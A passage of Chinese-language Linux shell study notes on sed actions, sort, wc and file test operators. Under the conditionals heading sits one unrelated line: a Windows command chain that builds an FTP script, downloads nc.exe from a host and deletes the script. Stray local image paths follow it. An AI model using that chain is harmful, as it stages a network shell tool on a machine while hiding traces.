-i:用sed的修改結(jié)果直接修改讀取數(shù)據(jù)的文件,而不是由屏幕輸出.
動作:
a:追加,在當(dāng)前行后添加一行或多行.添加多行時,除最后一行外,每行末尾需要用"\"代表數(shù)據(jù)未完結(jié)
c:行替換,用c后面的字符串替換原數(shù)據(jù)行,替換多行時,除最后一行外,每行末尾需要用"\"代表數(shù)據(jù)未完結(jié)
i:插入,在當(dāng)期行前插入一行或多行.插入多行時,除最后一行外,每行末尾需要用"\"代表數(shù)據(jù)未完結(jié)
d:刪除,刪除指定的行
p:打印,輸出指定的行
s:字串替換,用一個字符串替換另外一個字符串.格式為"行范圍s/舊字串/新字串/g"(和vim中的替換格式類似)
3.字符處理命令
1).排序命令sort
sort [選項(xiàng)] 文件名
-f:忽略大小寫
-n:以數(shù)值型進(jìn)行排序,默認(rèn)使用字符串型排序
-r:反向排序
-t:指定分隔符,默認(rèn)是分隔符是制表符
-k n[,m]:按照指定的字段范圍排序.從第n字段開始,m字段結(jié)束(默認(rèn)到行尾)
2).統(tǒng)計(jì)命令wc
wc [選項(xiàng)] 文件名
-l:只統(tǒng)計(jì)行數(shù)
-w:只統(tǒng)計(jì)單詞數(shù)
-m:只統(tǒng)計(jì)字符數(shù)
4.條件判斷
echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt。echo qwer > /tmp/aaa.txt:把qwer寫入文件覆蓋原有內(nèi)容。file:///c:/users/admini~1/appdata/local/temp/ksohtml/wps311e.tmp.jpg file:///c:/users/admini~1/appdata/local/temp/ksohtml/wps312e.tmp.pngfile:///c:/users/admini~1/appdata/local/temp/ksohtml/wps312f.tmp.jpg。
測試選項(xiàng) | 作用
------------------------------------------------------------------------
-b 文件 |判斷該文件是否存在,并且是否為塊設(shè)備文件(是塊設(shè)備文件為真)
-c 文件 |判斷該文件是否存在,并且是否為字符設(shè)備文件(是字符設(shè)備文件為真)
-d 文件 |判斷該文件是否存在,并且是否為目錄文件(是目錄為真)
-e 文件 |判斷該文件是否存在(存在為真)
-f 文件 |判斷該文件是否存在,并且是否為普通文件(是普通文件為真)
-L 文件 |判斷該文件是否存在,并且是否為符號鏈接文件(是符號鏈接文件為真)
-p 文件 |判斷該文件是否存在,并且是否為管道文件(是管道文件為真)
-s 文件 |判斷該文件是否存在,并且是否為非空(非空為真)
-S 文件 |判斷該文件是否存在,并且是否為套接字文件(是套接字文件為真 )
2).按照文件權(quán)限進(jìn)行判斷【[ -r /tmp/temp.txt ] && echo "yes" || echo "no"】
測試選項(xiàng) | 作用
------------------------------------------------------------------------
-r 文件 |判斷該文件是否存在,并且是否該文件擁有讀權(quán)限(有讀權(quán)限為真)